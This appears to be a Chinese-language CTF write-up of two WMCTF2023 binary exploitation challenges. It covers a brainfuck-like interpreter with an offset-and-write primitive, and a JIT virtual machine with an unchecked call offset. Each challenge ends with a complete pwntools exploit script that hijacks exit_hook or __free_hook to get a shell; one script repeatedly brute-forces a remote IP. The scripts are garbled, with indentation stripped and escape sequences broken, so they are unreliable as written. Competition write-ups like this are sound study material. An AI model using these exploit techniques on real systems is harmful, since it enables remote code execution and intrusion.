0%

WMCTF2023

blindless

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
main: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8edd548324d994d7d9ceaba18aea6a9f0daf7c7c, for GNU/Linux 3.2.0, with debug_info, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

提示文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    0x5625ff3e2000     0x5625ff3e3000 r--p     1000 0      /home/ctf/pwn
0x5625ff3e3000 0x5625ff3e4000 r-xp 1000 1000 /home/ctf/pwn
0x5625ff3e4000 0x5625ff3e5000 r--p 1000 2000 /home/ctf/pwn
0x5625ff3e5000 0x5625ff3e6000 r--p 1000 2000 /home/ctf/pwn
0x5625ff3e6000 0x5625ff3e7000 rw-p 1000 3000 /home/ctf/pwn
0x5625ff6b3000 0x5625ff6d4000 rw-p 21000 0 [heap]
0x7f2a72e98000 0x7f2a72f99000 rw-p 101000 0 [anon_7f2a72e98]
0x7f2a72f99000 0x7f2a72fbb000 r--p 22000 0 /home/ctf/lib/x86_64-linux-gnu/libc-2.31.so
0x7f2a72fbb000 0x7f2a73133000 r-xp 178000 22000 /home/ctf/lib/x86_64-linux-gnu/libc-2.31.so
0x7f2a73133000 0x7f2a73181000 r--p 4e000 19a000 /home/ctf/lib/x86_64-linux-gnu/libc-2.31.so
0x7f2a73181000 0x7f2a73185000 r--p 4000 1e7000 /home/ctf/lib/x86_64-linux-gnu/libc-2.31.so
0x7f2a73185000 0x7f2a73187000 rw-p 2000 1eb000 /home/ctf/lib/x86_64-linux-gnu/libc-2.31.so
0x7f2a73187000 0x7f2a7318d000 rw-p 6000 0 [anon_7f2a73187]
0x7f2a7318d000 0x7f2a7318e000 r--p 1000 0 /home/ctf/lib/x86_64-linux-gnu/ld-2.31.so
0x7f2a7318e000 0x7f2a731b1000 r-xp 23000 1000 /home/ctf/lib/x86_64-linux-gnu/ld-2.31.so
0x7f2a731b1000 0x7f2a731b9000 r--p 8000 24000 /home/ctf/lib/x86_64-linux-gnu/ld-2.31.so
0x7f2a731ba000 0x7f2a731bb000 r--p 1000 2c000 /home/ctf/lib/x86_64-linux-gnu/ld-2.31.so
0x7f2a731bb000 0x7f2a731bc000 rw-p 1000 2d000 /home/ctf/lib/x86_64-linux-gnu/ld-2.31.so
0x7f2a731bc000 0x7f2a731bd000 rw-p 1000 0 [anon_7f2a731bc]
0x7ffed494a000 0x7ffed496b000 rw-p 21000 0 [stack]
0x7ffed49f3000 0x7ffed49f7000 r--p 4000 0 [vvar]
0x7ffed49f7000 0x7ffed49f9000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]

漏洞分析

局部写漏洞:

1
2
3
4
5
else if ( c.key == '.' )
{
*data = code[c.index + 1];
c.index += 2;
}

入侵思路

申请一片大空间,使得 malloc 调用 mmap:

1
data = (char *)malloc(sizea);

计算偏移使得 data 指向 exit_hook

1
2
3
4
5
if ( c.key == '@' )
{
data += *(unsigned int *)&code[c.index + 1];
c.index += 5;
}

利用局部写漏洞覆盖 exit_hook 低位为 one_gadget,爆破3位出 flag(概率为 1/4096)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './main1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

"""
local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('1.13.101.243','25752')
"""

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x12DA)\n")
pause()

def cmd(op):
sla(">",str(op))

def pwn():
backdoor_addr = 0x1209
#debug()
sla("data size",str(0x100000))
sla("code size",str(0x100)) # 0x7ffff7eb8afe
payload = "@"+p32(0x323f58)+"."+p8(0xfe)+">."+p8(0x7a)+">."+p8(0xa6)+"q"
sla("your code",payload)

i = 0
while(1):
try:
i = i + 1
print(i)
p = remote('1.13.101.243','25752')
#p = process(challenge)
pwn()
sl("cat flag")
flag = ru("}")
print(flag)
break
except:
p.close()

p.interactive()

jit

1
2
3
4
5
6
jit: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7062b1b0edff968d09e012e0905c2e5b7276cbd4, for GNU/Linux 3.2.0, stripped       
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

程序分析

本题目实现了一个虚拟机,在地址为 0x4240 的地方开始加载字节码 ,支持4种内置的函数调用,大致格式如下:

1
2
[opcode][原寄存器的值][目标寄存器的值][data len][data]
[0----7][8--------11][12---------15][16----31][32-63]

程序在 0x31B0 的代码会对之前部署的字节码进行解析,并将其转化为 x86 能理解的二进制代码并写入一片由 mmap 申请的内存空间

下面就是 mov 指令的实现:(包括直接寻址和间接寻址)

1
2
3
4
case 0xB7:
++reg_pc;
*(&reg + (unsigned __int8)reg_op1) = val;
continue;
1
2
3
4
case 0xBF:
++reg_pc;
*(&reg + (unsigned __int8)reg_op1) = *(&reg + (unsigned __int8)reg_op2);
continue;

经过调试测试,各个寄存器对应的数值如下:

reg num
rax 0
rdi 1
rsi 2
rdx 3
r9 4
r8 5
rbx 6
r13 7
r14 8
r15 9
  • PS:使用 opcode 决定该寄存器的占位大小(byte,word,dword,qword)

入侵思路

本题目完全是依靠程序本身的功能进行入侵

可以构建合适的汇编代码来获取 [rdi+0x58] 处的 libc 地址,计算偏移将其改为 system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def cmd(opcode,reg_op2,reg_op1,data1,data2):
payload = p8(opcode)
payload += p8((reg_op2<<4) | reg_op1)
payload += p16(data1)
payload += p32(data2)
payload = binascii.hexlify(payload.encode())
print(payload)
return payload

def load_reg(reg_op1,reg_op2,offset):
payload = cmd(0x79,reg_op2,reg_op1,offset,0)
return payload

def sub_data(reg_op1,data):
payload = cmd(0x17,0,reg_op1,0,data)
return payload

def call(key):
payload = cmd(0x85,0,0,0,key)
return payload

payload = load_reg(regs().r15, regs().rdi, 0x58)
payload += sub_data(regs().r15, 0x4346e0-0x80)
payload += add_data(regs().r15, 0x52290-0x80)

经调试发现,程序的“内置函数”就记录在 heap 中

比赛时的入侵思路就是往“内置函数”中写入 system(程序通过 offset 来决定具体调用哪个“内置函数”,但并没有对 offset 进行限制)

1
2
3
4
5
6
7
2b:01580x55e26ce6ba58 ◂— 0x211
2c:01600x55e26ce6ba60 —▸ 0x55e26c5ca710 ◂— endbr64
2d:01680x55e26ce6ba68 —▸ 0x55e26c5ca750 ◂— endbr64
2e:01700x55e26ce6ba70 —▸ 0x55e26c5ca770 ◂— endbr64
2f:01780x55e26ce6ba78 —▸ 0x55e26c5ca7b0 ◂— endbr64
30:01800x55e26ce6ba80 —▸ 0x55e26c5ca790 ◂— endbr64
31:01880x55e26ce6ba88 —▸ 0x55e26c5ca780 ◂— endbr64

最后发现写入的 system 不起作用,不管是添加到 func_list 后还是覆盖已有的值都没用

可能是 func_list 的位置没有找对,因为在 search 时发现多个地址都存在 func_list:

1
2
3
4
5
6
7
pwndbg> search -t qword 0x55c891fd0710
Searching for value: b'\x10\x07\xfd\x91\xc8U\x00\x00'
[heap] 0x55c892d062d8 0x55c891fd0710
[heap] 0x55c892d07b00 0x55c891fd0710
[heap] 0x55c892d07f50 0x55c891fd0710
[anon_7fc3e8f18] 0x7fc3e8f18030 adc byte ptr [rdi], al
[stack] 0x7fff31949158 0x55c891fd0710

可以选择去挨个覆盖这些地址,也可以直接去覆盖 free_hook,这里采用了后者

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
# -*- coding:utf-8 -*-
from pwn import *
import binascii

arch = 64
challenge = './jit1'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x886B)\nb *$rebase(0x85F5)\nb *$rebase(0x4476)\n")
pause()

class regs():
rax = 0
rdi = 1
rsi = 2
rdx = 3
r9 = 4
r8 = 5
rbx = 6
r13 = 7
r14 = 8
r15 = 9

def cmd(opcode,reg_op2,reg_op1,data1,data2):
payload = p8(opcode)
payload += p8((reg_op2<<4) | reg_op1)
payload += p16(data1)
payload += p32(data2)
print(payload)
payload = binascii.hexlify(payload.encode())
print(payload)
return payload

def store_reg(reg_op1,reg_op2,offset):
payload = cmd(0x7b,reg_op2,reg_op1,offset,0)
return payload

def store_data(reg_op1,data,offset):
payload = cmd(0x7a,0,reg_op1,offset,data)
return payload

def load_reg(reg_op1,reg_op2,offset):
payload = cmd(0x79,reg_op2,reg_op1,offset,0)
return payload

def mov_reg(reg_op1,reg_op2):
payload = cmd(0xbf,reg_op2,reg_op1,0,0)
return payload

def mov_data(reg_op1,data):
payload = cmd(0xb7,0,reg_op1,0,data)
return payload

def add_data(reg_op1,data):
payload = cmd(0x7,0,reg_op1,0,data)
return payload

def sub_data(reg_op1,data):
payload = cmd(0x17,0,reg_op1,0,data)
return payload

def call():
#payload = cmd(0x85,0,0,0,key)
payload = "8500050000000000"
return payload

payload = load_reg(regs().r9, regs().rdi, 0x38)
payload += sub_data(regs().r9, 0x4346e0-0x80)
payload += add_data(regs().r9, 0x52290-0x80)
payload += load_reg(regs().r8, regs().rdi, 0x48)
payload += sub_data(regs().r8, 0x41f060-0xe048)
payload += add_data(regs().r8, 0x1eee48-0xe048)
payload += store_reg(regs().r8,regs().r9,0)
payload += store_data(regs().rdi,0x6873,0)

print(len(payload))

#debug()

sla("Program:",payload)
sla("Memory:","/bin/sh\x00")

p.interactive()